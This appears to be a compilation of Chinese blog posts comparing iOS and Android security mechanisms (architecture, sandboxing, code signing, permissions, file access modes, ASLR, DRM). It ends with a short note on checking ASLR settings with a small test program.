总之,各种作弊方法,防不胜防,应对这些,比较滞后但可以亡羊补牢的方法就是对玩家在游戏中的游戏行为,特别是消费收入数值进行监控,以随时发现异常情况。





来源:碳基体

iOS与Android的一些区别

前言

总结了在做iOS与Android安全研究时,需要了解的区别。包括系统架构的区别,安装包的区别,文件系统的区别,二进制文件的区别,安全机制的区别与版权保护的区别



一、系统架构的区别(左边iOS,右边Android)


1.iOS架构

分为4层,分别为

(1)cocoa Touch层:包括Foundation Framework,UIkit Framework,Address Book UI Framework

(2)媒体层:包括图像(Quartz,Core Animation,OpenGL ES),音频(Core Audio,OpenAL)和视频技术

(3)核心服务层:例如CoreFoundation.framework是基于C语言的接口集,提供应用的基本数据管理和服务功能;CFNetwork.framework是一组高性能的C语言接口集,提供网络协议的面向对象的抽象。开发者可以使用CFNetwork框架操作协议栈,并且可以访问底层的结构如BSD sockets等;Security.framework提供管理证书,公钥/私钥对和信任策略等的接口来确保应用数据的安全性

(4)核心OS层: 基于Mac操作系统


2.Android架构

分为4层,分别为

(1)应用程序:使用java编写

(2)应用程序框架:

  • 活动管理器:用来管理应用程序生命周期并提供常用的导航回退功能

  • 资源管理器:提供非代码资源的访问,如本地字符串、图形和布局文件

  • 内容提供器:用来存放和获取数据并使用这些数据可以被所有应用程序访问

  • XMPP服务器:基于XML的网络实时通讯协议

(3)系统运行库+Android运行时

系统运行库:android包括一些c/c++库,这些库能被android系统中的不同的组件使用,例如libc是一个从BSD继承来的标准c系统函数库;webkit为Web浏览器引擎,支持Android浏览器(苹果Safari的引擎也是webkit)。SQLite为功能强劲的轻量级关系数据库引擎(iOS也是采用的该数据库引擎)。

Android运行时:包括核心库(基本类库,例如data structure,network,file system等),很多实现代码都来自Apache Harmony项目,主要目的时保证虚拟机的类库能够与Java SE类库最大程度的兼容)与Dalvik虚拟机(用于运行dex:dalvik executable格式二进制可执行文件,该虚拟机较之java虚拟机的最大区别是Dalvik基于寄存器)

(4)linux内核:基于linux 2.6内核


总的来说,如果要深层次挖掘Android的漏洞就要明白linux内核安全,如果要挖身深层次挖掘iOS的漏洞就要了解Mac内核安全(BSD内核安全)。

二、安装包的区别(左边iOS,右边Android)

 总的来说,安装包由可执行文件,资源文件,签名文件,配置文件组成。


 三、文件系统的区别(左边iOS,右边Android)

注意: android的sdcard是不受文件访问控制约束的


四、二进制文件的区别

1. iOS二进制文件格式

mach-o , dylib

 

2.Android二进制文件的区别

dex, so(ELF shared object)


五、安全机制的区别

1. iOS安全机制

(1)安全沙箱

进程隔离,每个程序都有自己的虚拟地址空间。应用程序在安装之后,系统就通过计算得到一个标识,然后基于应用程序的根目录和这个标识构件一个指向应用程序目录的路径,其他应用程序都不能进行访问。iOS 的沙箱是基于TrustBSD策略框架的内核扩展模块,针对每个进程都可以制定特殊的沙箱配置文件,沙箱配置文件编译后以2进制的方式保存在KernelCache文件中(iOS下),需反汇编成可读的文本格式来查看内核中的沙盒规则


(2)代码签名

apple需要所有开发人员对自己的iPhone应用程序使用数字签名技术。这个签名用来标识应用程序的开发者以及保证应用程序在签名之后不被更改和损坏。开发者证书由apple提供(这是与android最大的区别,android是自签名),有以下两类证书:

Developer Certificate:用于本机测试

Distribution Certificate:Ad-hoc用于100台设备以内的测试和共享;app store用于发布应用程序

所有的可执行文件、库文件都需要Apple签名后才可以运行在iOS中,内核会在调用execve之前检测Mach-o文件中的LC_CODE_SIGNATURE段是否有效和可信任的,iOS启动的时候同样也会检测KernelCache的签名是否有效

代码签名的破坏可见《iOS平台游戏安全之IPA破解原理及防御

(3)ASLR(address space layout randomisation)/DEP


PIE: position independent executable


iOS 4.3后开始支持该功能,iOS上的预装应用都开启了该功能

 

ASLR的其他信息可见《ASLR


 

DEP(Data execution Prevention),内核不允许将页面保护标志设置为RWS,并在ARMv6引入XN(execute never)标志位,从而在硬件上支持执行保护。


(4)文件系统加密

 

Data protection APIs

NSFileProtectionNone

NSFileProtectionComplete

NSFileProtectionCompleteUnlessOpen

NSFileProtectionCompleteUntilUserAuthentication

KSecAttrAccessibleAlways

KSecAttrAccessibleWhenUnlocked

KSecAttrAccessibleAfterFirstUnlock

KSecAttrAccessibleAlwaysThisdeviceOnly

KSecAttrAccessibleWhenUnlockedThisDeviceOnly

KSecAttrAccessibleAfterFirstUnlockThisDeviceOnly


2.Android安全机制

(1)安全沙箱

每一个Android应用程序(apk文件)会在安装时分配一个独有的linux用户ID(即一个用户id识别一个应用程序),这就为它建立了一个沙箱,使其不能与其他应用程序进行接触。这个用户ID在安装时分配,并在该设备上一直保持同一个数值。所有存储在应用程序中的数据都会赋予该应用程序的用户ID,使其他应用程序无法访问这些数据(如需要访问,见(4)文件访问控制)。


(2)代码签名

采用自签名机制,不需要权威机构签名和审核,完全由用户自行判断是否信任该程序(与iOS区别很大)。签名是为了:

  • 识别代码的作者

  • 检测应用程序是否发生了变化

  • 在应用程序之间建立信任:使用相同数字签名签署的两个应用程序可以相互授予权限来反问基于签名的API,如果他们共享用户ID,那么也可以运行在同一进程中,从而允许访问对方的代码和数据(见(4)文件访问控制)。

代码签名的详细机制可见《Android签名与签名校验


(3)manifest权限管理

Android要求用户在使用API时进行申明,称为permission,对一些敏感API的使用在安装时就可以给用户风险提示,由用户确定是否安装,例如READ_CONTACTS为读取通讯录数据权限。权限在AndroidManifest.xml文件里进行设置,通过<manifest../>元素添加<uses-permission.../>子元素,如下图所示


 

permission分为4个保护等级:normal,dangerous,signature,signatureorsystem。不同的保护级别代表程序要使用此权限时的认证方式。

normal:只要申请就可以使用

dangerous:在安装时需要用户确认才可以使用,最经常使用的权限

signature:告诉android系统这个权限只能授予拥有同样数字签名并且定义了该权限的应用程序

signatureorsystem:需要开发者的应用和系统使用同一个数字证书,即需要系统或者平台签名,真实手机中的系统签名只有厂商知道


应用程序也可以定制权限以保护自己的资源,当前ita应用程序想要访问一个应用程序的受保护资源时,就必须通过它们自己的manifest文件请求适当的权限

 

(4)文件访问控制

因为安全沙箱的存在导致不同应用程序之间的数据(文件)是隔离的。在通过

getSharedPreferences(filename,operatingMode)

openFileOutput(filename,operatingMode)

openOrCreateDatabase(filename,operatingMode, SQLiteDatabase.CursorFactory)

等方法来创建一个新文件时,可以通过指定文件的存储方式operationMode来进行文件的访问控制,android文件存储有以下4种方式:

Context.MODE_PRIVATE:默认操作模式,代表该文件是私有数据,只能被应用本身访问,在该模式下,写入的内容会覆盖原文件的内容

Context.MODE_APPEND:代表该文件是私有数据,只能被应用本身访问,在该模式下,会检查文件是否存在,存在就往文件追加内容,否则就创建新文件

Context.MODE_WORLD_READABLE:表示当前文件可以被其他应用读取

Context.MODE_WORLD_WRITEABLE:表示当前文件可以被其他应用写入。


除了使用Context.MODE_WORLD_READABLE/Context.MODE_WORLD_WRITEABLE标识位来使两个程序相互访问对方的资源。还可以通过设置AndroidManifest.xml文件的manifest标签中的sharedUserId属性,来使得不同的应用程序共用同一个用户ID,并且这些应用程序还使用同一个签名签署,在满足以上两个条件(共同的sharedUserID,共同的签名)的情况下就可以实现不同应用程序相互资源的访问了,如下图所示


 

(5)ASLR

android 4.1后才开始支持完整版功能


六、版权保护的区别

1. iOS

App store,采用FairPlay DRM保护商店下载应用

2. Android

(1)google play store,采用Android License Verification Library保护商店下载应用

(2)Amazon Appstore DRM

(3)其他


参考:

《移动互联网之智能终端安全揭秘》Android与iOS章

来源:碳基体

ASLR


proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。


在Ubuntu 10.04.3 LTS下

root@bt:~# cat /proc/sys/kernel/randomize_va_space 
2

在android 2.3.3下

root@bt:~# adb shell
# cat /proc/sys/kernel/randomize_va_space
1

在Android 4.1.2下(完整的ASLR和PIE在android 4.1后加入)

root@bt:~# adb shell
# cat /proc/sys/kernel/randomize_va_space
2


测试ASLR代码如下:

#include <stdio.h>

unsigned long find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("0x%x \n", find_start());
}

在Ubuntu 10.04.3 LTS下运行结果:

root@bt:~# ./aslrtest
0xbfda8808
root@bt:~# ./aslrtest
0xbfa39598
root@bt:~# ./aslrtest
0xbf968b18
root@bt:~# ./aslrtest
0xbfe490b8
root@bt:~# ./aslrtest
0xbf8a7ad8


参考:
https://hi.baidu.com/lotus007/item/ae841ad4bd14c11a21e250d9

https://blog.csdn.net/force_eagle/article/details/8024502

https://en.wikipedia.org/wiki/Address_space_layout_randomization

来源:碳基体